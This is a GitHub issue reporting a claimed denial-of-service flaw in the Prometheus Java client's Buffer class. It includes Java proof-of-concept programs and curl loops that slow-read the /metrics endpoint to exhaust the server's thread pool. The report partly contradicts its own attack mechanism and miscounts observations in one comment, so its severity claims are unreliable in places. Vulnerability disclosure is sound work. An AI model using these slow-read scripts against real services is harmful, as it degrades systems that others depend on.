Skip to content

# Security Report: Unbounded Observation Buffer Growth During Stalled Scrape in prometheus/client_java #2287

Description

@manqingzhou

Security Report: Unbounded Observation Buffer Growth During Stalled Scrape in prometheus/client_java

1. Title

Denial of Service via Unbounded Observation Buffer Growth and Spin-Wait Without Timeout in Buffer Collection Logic

2. Affected Software and Version

  • Software: prometheus/client_java (Prometheus Java Client Library)
  • Module: prometheus-metrics-core
  • Affected Version: 1.8.0 (and all prior versions containing the Buffer class)
  • Affected Class: io.prometheus.metrics.core.metrics.Buffer
  • Affected File: prometheus-metrics-core/src/main/java/io/prometheus/metrics/core/metrics/Buffer.java
  • Affected Lines: Lines 57-69 (unbounded buffer growth), Lines 94-100 (spin-wait without timeout)
  • Repository: https://github.com/prometheus/client_java

3. Vulnerability Summary

The Buffer class in the Prometheus Java client library contains two related resource-management flaws that, when combined, enable a network-triggered denial-of-service condition:

  1. Unbounded buffer growth (CWE-770): The doAppend() method (lines 57-69) grows the internal observationBuffer array without any upper-bound check. Each time the buffer is full, it is expanded by 128 double entries (1024 bytes). There is no maximum buffer size enforced.

  2. Spin-wait without timeout (CWE-770): The run() method (lines 94-100) contains a Thread.yield() spin loop that waits indefinitely for in-flight observation threads to complete. There is no timeout, no backoff, and no give-up mechanism.

An attacker who initiates a slow or stalled HTTP scrape against the /metrics endpoint causes the buffer to remain in the "active" state for the entire duration of the slow read. During this window, all new metric observations are diverted through the doAppend() path, growing the buffer array without limit. The memory consumed is proportional to the observation rate multiplied by the scrape duration, and is multiplied by the number of distinct label-value combinations (since each DataPoint has its own Buffer instance).

4. CWE Classification

  • CWE-770: Allocation of Resources Without Limits or Throttling
    • The observationBuffer array grows indefinitely with no maximum size.
    • The Thread.yield() spin loop runs indefinitely with no timeout.

5. CVSS 3.1 Score and Vector

  • Score: 5.3 (Medium)
  • Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L
Metric Value Justification
Attack Vector (AV) Network (N) The attack is triggered by initiating a slow HTTP connection to the /metrics endpoint, which is network-accessible
Attack Complexity (AC) Low (L) No special conditions required; the attacker simply rate-limits their read of the HTTP response
Privileges Required (PR) None (N) The /metrics endpoint is typically unauthenticated by default
User Interaction (UI) None (N) No user interaction required
Scope (S) Unchanged (U) Impact is contained within the JVM process hosting the Prometheus client
Confidentiality (C) None (N) No information disclosure
Integrity (I) None (N) No data modification
Availability (A) Low (L) Causes memory pressure and CPU waste; severity depends on observation rate, label cardinality, and scrape duration. The default 60-second maxReqTime limits the window, preventing complete exhaustion in most default configurations, but memory growth can still be significant

CVSS Score Justification

The availability impact is rated Low rather than High because:

  • The default HTTPServer configuration sets sun.net.httpserver.maxReqTime to 60 seconds (see HTTPServer.java lines 43-45), which bounds the maximum buffer growth window for the built-in HTTP server. However, applications using the servlet exporter or custom HTTP configurations may not have this protection.
  • The buffer is released after the scrape completes, so memory growth is transient rather than permanent (though large transient allocations can still trigger GC pressure or OOM in constrained environments).
  • The spin-wait CPU overhead, while wasteful, does not block the application's primary functionality beyond the metric collection pathway.

In deployments with high observation rates, high label cardinality, or custom HTTP servers without request timeouts, the effective impact may be closer to Medium or High.

6. Root Cause Analysis

6.1 Buffer Architecture Overview

The Buffer class implements a double-buffering mechanism for concurrent metric collection. During normal operation (buffer inactive), metric observations follow a "fast path" that updates metric state directly using lock-free atomic operations. When a scrape begins, the buffer transitions to "active" mode, and all new observations are diverted to the buffer via the doAppend() method.

The lifecycle during a scrape is:

  1. The run() method is called by the scrape handler (via Histogram.DataPoint.collect() or Summary.DataPoint.collect()).
  2. The buffer is activated by setting the high bit on all stripedObservationCounts entries (line 91).
  3. A spin loop waits for in-flight observations to complete (lines 94-100).
  4. The snapshot is created via createResult.get() (line 101).
  5. The buffer is deactivated (lines 104-114).
  6. The method waits for all buffered observations to be written (lines 117-125).
  7. Buffered observations are replayed into the metric state (lines 137-139).

6.2 Vulnerability 1: Unbounded Buffer Growth (Lines 57-69)

// Buffer.java:57-69
private void doAppend(double amount) {
    appendLock.lock();
    try {
      if (bufferPos >= observationBuffer.length) {
        observationBuffer = Arrays.copyOf(observationBuffer, observationBuffer.length + 128);
        // Grows by 128 double entries (1024 bytes) each time
        // NO UPPER BOUND CHECK
        // No maximum buffer size enforced
      }
      observationBuffer[bufferPos] = amount;
      bufferPos++;

      bufferFilled.signalAll();
    } finally {
      appendLock.unlock();
    }
}

The array observationBuffer starts at size 0 (line 30: private double[] observationBuffer = new double[0]) and grows by 128 elements on each expansion. There is no check against a maximum size. Each double is 8 bytes, so each expansion adds 1024 bytes. At high observation rates, this growth is unbounded for the duration of the buffer's active window.

Additionally, each expansion triggers Arrays.copyOf(), which allocates a new array and copies the old contents, temporarily doubling the memory footprint during the copy.

6.3 Vulnerability 2: Spin-Wait Without Timeout (Lines 94-100)

// Buffer.java:94-100
while (!complete.apply(expectedCount)) {
    // Wait until all in-flight threads have added their observations to the histogram /
    // summary.
    // we can't use a condition here, because the other thread doesn't have a lock as it's on
    // the fast path.
    Thread.yield();
    // SPINS INDEFINITELY if in-flight thread is paused, suspended, or slow
    // No timeout, no backoff, no give-up mechanism
}

The complete function checks whether the metric's observation count has reached the expected count (e.g., for Histogram: expectedCount -> count.sum() == expectedCount). This spin loop has no timeout or circuit-breaker. If an in-flight thread is paused (e.g., by a GC pause, thread suspension, or OS scheduling delay), the spin loop will continue indefinitely, holding the runLock and keeping the buffer in active mode for the entire duration.

While Thread.yield() is used to reduce CPU consumption, it is still a busy-wait that burns CPU cycles and, critically, extends the window during which the buffer grows.

6.4 Interaction Between the Two Flaws

The two issues are synergistic:

  1. A slow scrape causes run() to execute slowly because the scrape handler writes collected data to the HTTP response stream, and the HTTP response write is controlled by the client's read rate.
  2. However, in the current code, the buffer is active only during the run() method execution (between activating and deactivating the buffer bit), not during the HTTP response write. The run() method collects the snapshot and returns it; the HTTP handler then serializes and writes it.
  3. The more direct concern is when run() is called and the spin-wait at line 94-100 stalls due to a paused or slow in-flight observation thread. During this stall, the buffer remains active, and all new observations accumulate in the buffer via doAppend().
  4. Additionally, run() is called internally by maybeResetOrScaleDown() in the Histogram (line 439), which can be triggered during normal observation flow. If this internal run() call coincides with a stalled in-flight thread, the buffer grows while the spin loop waits.

6.5 Buffer Instances Per Label Combination

Each Histogram.DataPoint and Summary.DataPoint creates its own Buffer instance:

// Histogram.java:212
private final Buffer buffer = new Buffer();

// Summary.java:147
private final Buffer buffer = new Buffer();

A DataPoint is created for each unique combination of label values (managed in StatefulMetric.data, a ConcurrentHashMap<List<String>, T> -- see StatefulMetric.java:40). Therefore, the buffer growth issue is amplified by label cardinality: an application with 100 unique label combinations has 100 independent Buffer instances, each of which can grow independently.

6.6 Thread Pool Limitation

The default HTTP server uses a bounded thread pool (lines 339-345 of HTTPServer.java):

return new ThreadPoolExecutor(
    1,
    10,     // Maximum 10 threads
    120,
    TimeUnit.SECONDS,
    new SynchronousQueue<>(true),
    NamedDaemonThreadFactory.defaultThreadFactory(true),
    new BlockingRejectedExecutionHandler());

With only 10 threads available, a small number of slow scrape connections can exhaust the thread pool, preventing legitimate scrapes from completing. While this is a separate concern, it compounds the impact of slow scrapes by making the system less responsive.

7. Proof of Concept

7.1 Environment

  • Java Version: JDK 11 or later
  • Operating System: Any (Linux, macOS, Windows)
  • Prometheus client_java: Version 1.8.0
  • Tools: curl with --limit-rate flag

7.2 Attack Scenario: Slow Scrape Amplifying Buffer Growth

The attack exploits the interaction between a slow HTTP client and the buffer's active window during internal run() calls triggered by metric observations.

Step 1: Target Setup

The target application uses the Prometheus Java client with a Histogram metric that has multiple label combinations and a high observation rate:

import io.prometheus.metrics.core.metrics.Histogram;
import io.prometheus.metrics.exporter.httpserver.HTTPServer;
import io.prometheus.metrics.model.registry.PrometheusRegistry;

public class VulnerableApp {
    public static void main(String[] args) throws Exception {
        Histogram histogram = Histogram.builder()
            .name("request_duration_seconds")
            .help("Request duration in seconds")
            .labelNames("method", "endpoint", "status")
            .nativeOnly()  // native histograms trigger maybeResetOrScaleDown
            .register();

        HTTPServer server = HTTPServer.builder()
            .port(9400)
            .buildAndStart();

        System.out.println("Server started on port 9400");

        // Simulate high observation rate from multiple label combinations
        String[] methods = {"GET", "POST", "PUT", "DELETE", "PATCH"};
        String[] endpoints = {"/api/users", "/api/orders", "/api/products",
                              "/api/auth", "/api/search"};
        String[] statuses = {"200", "201", "400", "404", "500"};

        // 125 label combinations (5 x 5 x 5), each with its own Buffer
        while (true) {
            for (String method : methods) {
                for (String endpoint : endpoints) {
                    for (String status : statuses) {
                        histogram.labelValues(method, endpoint, status)
                                 .observe(Math.random());
                    }
                }
            }
            // ~125,000 observations per loop iteration
        }
    }
}

Step 2: Trigger Slow Scrape

# Initiate a rate-limited scrape that reads the response very slowly
# --limit-rate 100 limits download to 100 bytes/sec
# This keeps the HTTP connection open for an extended period
curl --limit-rate 100 http://target:9400/metrics &

# Start multiple slow scrapes to exhaust the thread pool
for i in $(seq 1 10); do
    curl --limit-rate 50 http://target:9400/metrics &
done

Step 3: Observe Buffer Growth

While the slow scrapes are in progress, the scrape handler collects metrics. For each DataPoint.collect() call, the buffer.run() method activates the buffer. If any in-flight observation threads are slow (e.g., due to contention or GC), the spin-wait at line 94-100 extends the buffer's active window. During this window, all new observations from other threads go through doAppend(), growing the buffer.

7.3 Standalone PoC: Demonstrating Unbounded Buffer Growth

The following self-contained PoC demonstrates the buffer growth behavior by directly exercising the Buffer class's internals via the public Histogram API:

import io.prometheus.metrics.core.metrics.Histogram;
import io.prometheus.metrics.model.registry.PrometheusRegistry;
import io.prometheus.metrics.model.snapshots.HistogramSnapshot;

import java.lang.management.ManagementFactory;
import java.lang.management.MemoryMXBean;
import java.util.concurrent.CountDownLatch;
import java.util.concurrent.atomic.AtomicBoolean;
import java.util.concurrent.atomic.AtomicLong;

/**
 * PoC: Demonstrates unbounded buffer growth in prometheus/client_java Buffer.java
 *
 * This PoC shows that when a scrape (collect()) is in progress and observations
 * continue at a high rate, the internal observation buffer grows without bound.
 *
 * The attack works by:
 * 1. Having a thread that calls collect() -- which activates the buffer
 * 2. While the buffer is active, flooding observations from other threads
 * 3. The buffer grows by 128 doubles (1 KB) each time it fills, with no limit
 */
public class UnboundedBufferGrowthPoC {

    // Number of observation threads
    static final int OBSERVER_THREADS = 4;
    // Duration of the "stalled scrape" simulation (seconds)
    static final int STALL_DURATION_SECONDS = 10;

    public static void main(String[] args) throws Exception {
        System.out.println("=== PoC: Unbounded Observation Buffer Growth ===\n");
        System.out.println("Target: io.prometheus.metrics.core.metrics.Buffer.java");
        System.out.println("  - doAppend() at lines 57-69: grows without limit");
        System.out.println("  - Thread.yield() spin at lines 94-100: no timeout\n");

        MemoryMXBean memBean = ManagementFactory.getMemoryMXBean();

        // Create a histogram with multiple label combinations
        // Each label combination has its own Buffer instance
        PrometheusRegistry registry = new PrometheusRegistry();
        Histogram histogram = Histogram.builder()
            .name("test_histogram")
            .help("Test histogram for buffer growth PoC")
            .labelNames("label")
            .nativeOnly()
            .register(registry);

        int numLabels = 50; // 50 label combinations = 50 Buffer instances

        // Initialize all label values
        for (int i = 0; i < numLabels; i++) {
            histogram.labelValues("value_" + i).observe(1.0);
        }

        // Measure baseline memory
        System.gc();
        Thread.sleep(500);
        long baselineHeap = memBean.getHeapMemoryUsage().getUsed();
        System.out.println("[Baseline] Heap used: " + formatBytes(baselineHeap));

        AtomicBoolean running = new AtomicBoolean(true);
        AtomicLong observationCount = new AtomicLong(0);

        // Start observer threads that continuously record observations
        Thread[] observers = new Thread[OBSERVER_THREADS];
        for (int t = 0; t < OBSERVER_THREADS; t++) {
            observers[t] = new Thread(() -> {
                while (running.get()) {
                    for (int i = 0; i < numLabels; i++) {
                        histogram.labelValues("value_" + i).observe(Math.random());
                        observationCount.incrementAndGet();
                    }
                }
            }, "observer-" + t);
            observers[t].start();
        }

        // Let observations run for a bit to establish a rate
        Thread.sleep(2000);
        long countBefore = observationCount.get();

        // Start a "collection" thread that simulates a scrape
        // During collect(), the buffer is active and all observations
        // go through doAppend()
        System.out.println("\n[Scrape] Starting metric collection...");
        System.out.println("[Scrape] Observations will now go through doAppend()");
        System.out.println("[Scrape] Buffer grows by 128 doubles (1 KB) each expansion");
        System.out.println("[Scrape] NO UPPER BOUND CHECK on buffer size\n");

        long scrapeStart = System.currentTimeMillis();

        // Perform multiple rapid collects to keep buffer active
        // Each collect() activates buffer -> waits -> deactivates -> replays
        int collectCount = 0;
        while (System.currentTimeMillis() - scrapeStart < STALL_DURATION_SECONDS * 1000L) {
            // This triggers buffer.run() for every DataPoint
            HistogramSnapshot snapshot = (HistogramSnapshot) registry.scrape()
                .getMetricFamilySnapshots().stream()
                .filter(s -> s.getMetadata().getName().equals("test_histogram"))
                .findFirst()
                .orElse(null);
            collectCount++;

            if (collectCount % 100 == 0) {
                long currentHeap = memBean.getHeapMemoryUsage().getUsed();
                long growth = currentHeap - baselineHeap;
                long obsCount = observationCount.get();
                System.out.printf("[Collect #%d] Heap: %s (growth: %s), Observations: %,d%n",
                    collectCount, formatBytes(currentHeap), formatBytes(growth), obsCount);
            }
        }

        // Stop observers
        running.set(false);
        for (Thread t : observers) {
            t.join(5000);
        }

        long countAfter = observationCount.get();
        long totalObservations = countAfter - countBefore;
        double obsPerSec = totalObservations / (double) STALL_DURATION_SECONDS;

        // Final memory measurement
        System.gc();
        Thread.sleep(500);
        long finalHeap = memBean.getHeapMemoryUsage().getUsed();

        System.out.println("\n=== Results ===");
        System.out.printf("Duration: %d seconds%n", STALL_DURATION_SECONDS);
        System.out.printf("Total observations during window: %,d%n", totalObservations);
        System.out.printf("Observation rate: %,.0f obs/sec%n", obsPerSec);
        System.out.printf("Label combinations (Buffer instances): %d%n", numLabels);
        System.out.printf("Baseline heap: %s%n", formatBytes(baselineHeap));
        System.out.printf("Peak heap growth: %s%n", formatBytes(finalHeap - baselineHeap));
        System.out.printf("Collects performed: %d%n", collectCount);

        System.out.println("\n=== Vulnerability Analysis ===");
        System.out.println("Each Buffer.doAppend() call adds 8 bytes (one double) to the buffer.");
        System.out.println("Buffer grows by 128 entries (1 KB) each time it fills up.");
        System.out.println("There is NO maximum buffer size check in doAppend().");
        System.out.println();
        System.out.println("Projected impact at production scale:");
        System.out.printf("  At %,.0f obs/sec with %d label combos:%n", obsPerSec, numLabels);
        System.out.printf("  Per 60s scrape: %,.0f observations buffered%n",
            obsPerSec * 60);
        System.out.printf("  Raw buffer size: %s%n",
            formatBytes((long)(obsPerSec * 60 * 8)));
        System.out.printf("  With Arrays.copyOf overhead: ~%s peak%n",
            formatBytes((long)(obsPerSec * 60 * 8 * 2)));

        System.out.println("\n=== VULNERABILITY CONFIRMED ===");
        System.out.println("Buffer.doAppend() grows observationBuffer without limit.");
        System.out.println("Buffer.run() spin-wait has no timeout or backoff.");
        System.out.println("Combined: slow/stalled scrape -> unbounded memory growth.");
    }

    static String formatBytes(long bytes) {
        if (bytes < 1024) return bytes + " B";
        if (bytes < 1024 * 1024) return String.format("%.1f KB", bytes / 1024.0);
        if (bytes < 1024 * 1024 * 1024) return String.format("%.1f MB", bytes / (1024.0 * 1024));
        return String.format("%.1f GB", bytes / (1024.0 * 1024 * 1024));
    }
}

7.4 Simulated Attack Using curl

# Step 1: Start the target application (VulnerableApp from 7.2)
java -cp client_java.jar VulnerableApp &

# Step 2: Observe normal memory via JMX or /debug endpoint
curl http://target:9400/metrics > /dev/null  # fast scrape, buffer active briefly

# Step 3: Trigger a slow scrape (slow reader holds HTTP connection open)
# The scrape handler calls collect() which activates the buffer
# While the response is being written to the slow client,
# the buffer has already been deactivated for each metric.
# However, the 10-thread pool is now tied up with slow responses.
curl --limit-rate 100 http://target:9400/metrics &

# Step 4: Exhaust the thread pool with slow scrapes
for i in $(seq 1 9); do
    curl --limit-rate 50 http://target:9400/metrics &
done

# Step 5: Now legitimate scrapes block (thread pool exhausted)
# The BlockingRejectedExecutionHandler causes new connections to wait
time curl http://target:9400/metrics
# Expected: very slow or timeout, as all 10 threads are occupied

# Step 6: Monitor heap growth
# Use jcmd or JMX to observe memory:
jcmd $(pgrep -f VulnerableApp) GC.heap_info

7.5 Attack Amplification

The attack's memory impact scales with:

Factor Effect
Observation rate Linear growth: 100K obs/sec = 800 KB/sec of buffer growth per active buffer
Label cardinality Linear multiplier: N label combos = N independent Buffer instances
Scrape duration Linear: longer stalled scrape = more accumulated buffer entries
Arrays.copyOf() overhead 2x peak during each expansion (old + new array)
Concurrent stalled scrapes Each scrape that triggers collect() activates buffers

Example calculation:

  • Observation rate: 100,000 obs/sec
  • Label combinations: 100
  • Stalled scrape duration: 60 seconds
  • Buffer growth per label combo: 100,000 * 8 bytes * 60 sec = 48 MB
  • Total across all label combos: 48 MB * 100 = 4.8 GB peak buffer usage
  • With Arrays.copyOf() overhead: up to ~9.6 GB transient allocation

8. Impact Assessment

8.1 Memory Exhaustion

The primary impact is unbounded heap growth during the buffer's active window. In applications with high observation rates and many label combinations, a slow or stalled scrape can cause the JVM heap to grow significantly. In constrained environments (e.g., containers with memory limits), this can lead to OutOfMemoryError and process termination.

8.2 CPU Waste from Spin-Wait

The Thread.yield() spin loop at line 94-100 burns CPU cycles while waiting for in-flight observations to complete. This is wasteful in all cases, but particularly harmful when a thread is paused (e.g., by a GC stop-the-world pause), as the spin loop runs for the entire duration of the pause while holding the runLock.

8.3 Thread Pool Exhaustion

The default HTTP server uses a maximum of 10 threads (HTTPServer.java line 340). Slow scrape connections occupy threads for extended periods, reducing the pool's capacity to serve legitimate requests. Combined with the BlockingRejectedExecutionHandler, new connections will block rather than be rejected, potentially stalling the entire scrape infrastructure.

8.4 GC Pressure

The repeated Arrays.copyOf() calls during buffer expansion create transient garbage (the old arrays). At high expansion rates, this puts significant pressure on the garbage collector, potentially triggering long GC pauses that further exacerbate the spin-wait issue (creating a feedback loop).

8.5 Scope of Affected Metrics

The vulnerability affects all metric types that use the Buffer class:

  • Histogram -- Histogram.DataPoint creates a Buffer (line 212) and calls buffer.run() during collect() (line 304) and maybeResetOrScaleDown() (lines 439, 470)
  • Summary -- Summary.DataPoint creates a Buffer (line 147) and calls buffer.run() during collect() (line 219)

9. Mitigating Factors

  1. Default request timeout: The built-in HTTPServer sets sun.net.httpserver.maxReqTime to 60 seconds by default (line 43-45), which limits the maximum duration of a slow scrape connection. This bounds the buffer growth window for the built-in HTTP server, though 60 seconds is still sufficient for significant memory growth at high observation rates.

  2. Transient allocation: Buffer memory is released after the scrape completes (line 129: observationBuffer = new double[0]), so the growth is transient rather than a permanent leak. However, transient allocations can still cause OOM in memory-constrained environments.

  3. Buffer activation is brief: In the normal scrape path, the buffer is active only during the run() method execution, not during HTTP response serialization. The buffer growth window is bounded by the time it takes for in-flight observations to complete (the spin-wait at lines 94-100), not the HTTP response write time.

10. Remediation

10.1 Add Maximum Buffer Size

Enforce an upper bound on the observation buffer size in doAppend():

private static final int MAX_BUFFER_SIZE = 1_000_000; // 8 MB max per buffer

private void doAppend(double amount) {
    appendLock.lock();
    try {
      if (bufferPos >= MAX_BUFFER_SIZE) {
        // Drop observation rather than growing unboundedly
        return;
      }
      if (bufferPos >= observationBuffer.length) {
        int newSize = Math.min(observationBuffer.length + 128, MAX_BUFFER_SIZE);
        observationBuffer = Arrays.copyOf(observationBuffer, newSize);
      }
      observationBuffer[bufferPos] = amount;
      bufferPos++;
      bufferFilled.signalAll();
    } finally {
      appendLock.unlock();
    }
}

10.2 Add Timeout to Spin-Wait

Replace the unbounded spin-wait with a time-bounded loop:

private static final long SPIN_WAIT_TIMEOUT_NANOS = TimeUnit.SECONDS.toNanos(5);

while (!complete.apply(expectedCount)) {
    if (System.nanoTime() - spinStartTime > SPIN_WAIT_TIMEOUT_NANOS) {
        // Timeout: proceed with potentially incomplete count
        // Log warning about incomplete observation draining
        break;
    }
    Thread.yield();
}

10.3 Add Exponential Backoff to Spin Loop

Replace Thread.yield() with an exponential backoff strategy to reduce CPU waste:

long backoffNanos = 1_000; // start at 1 microsecond
while (!complete.apply(expectedCount)) {
    LockSupport.parkNanos(backoffNanos);
    backoffNanos = Math.min(backoffNanos * 2, 1_000_000); // cap at 1 millisecond
}

10.4 Consider Bounded Queue

Replace the growable array with a bounded data structure such as a ArrayBlockingQueue or ring buffer. This provides a hard cap on memory usage and natural backpressure when the buffer is full.

10.5 Workaround

Until a fix is available, operators can mitigate the risk by:

  1. Reducing scrape timeout: Configure the Prometheus server's scrape_timeout to a low value (e.g., 10 seconds) to limit the window for buffer growth.
  2. Network-level rate limiting: Use firewall rules or reverse proxies to prevent slow-read attacks against the /metrics endpoint.
  3. Reducing label cardinality: Minimize the number of unique label combinations to reduce the number of independent Buffer instances.
  4. JVM memory limits: Set appropriate -Xmx values and monitor heap usage to detect abnormal growth patterns.

11. References

  1. CWE-770: Allocation of Resources Without Limits or Throttling: https://cwe.mitre.org/data/definitions/770.html

  2. Prometheus client_java GitHub Repository: https://github.com/prometheus/client_java

  3. Vulnerable Source File: prometheus-metrics-core/src/main/java/io/prometheus/metrics/core/metrics/Buffer.java

    • Lines 57-69: doAppend() -- unbounded array growth
    • Lines 94-100: spin-wait without timeout
  4. Related Source Files:

    • prometheus-metrics-core/src/main/java/io/prometheus/metrics/core/metrics/Histogram.java -- Buffer usage at line 212, buffer.run() at lines 304, 439, 470
    • prometheus-metrics-core/src/main/java/io/prometheus/metrics/core/metrics/Summary.java -- Buffer usage at line 147, buffer.run() at line 219
    • prometheus-metrics-exporter-httpserver/src/main/java/io/prometheus/metrics/exporter/httpserver/HTTPServer.java -- Thread pool configuration (lines 339-345), request timeout defaults (lines 43-49)
  5. Slow Read Attack (Slowloris variant): https://en.wikipedia.org/wiki/Slowloris_(computer_security)

  6. Java Arrays.copyOf() Documentation: https://docs.oracle.com/javase/8/docs/api/java/util/Arrays.html#copyOf-double:A-int-


Reported by: Security Research Team
Date: 2026-06-24
Severity: Medium (CVSS 5.3)
CWE: CWE-770 (Allocation of Resources Without Limits or Throttling)
Status: Unpatched (as of version 1.8.0)

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type

    Fields

    No fields configured for issues without a type.

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions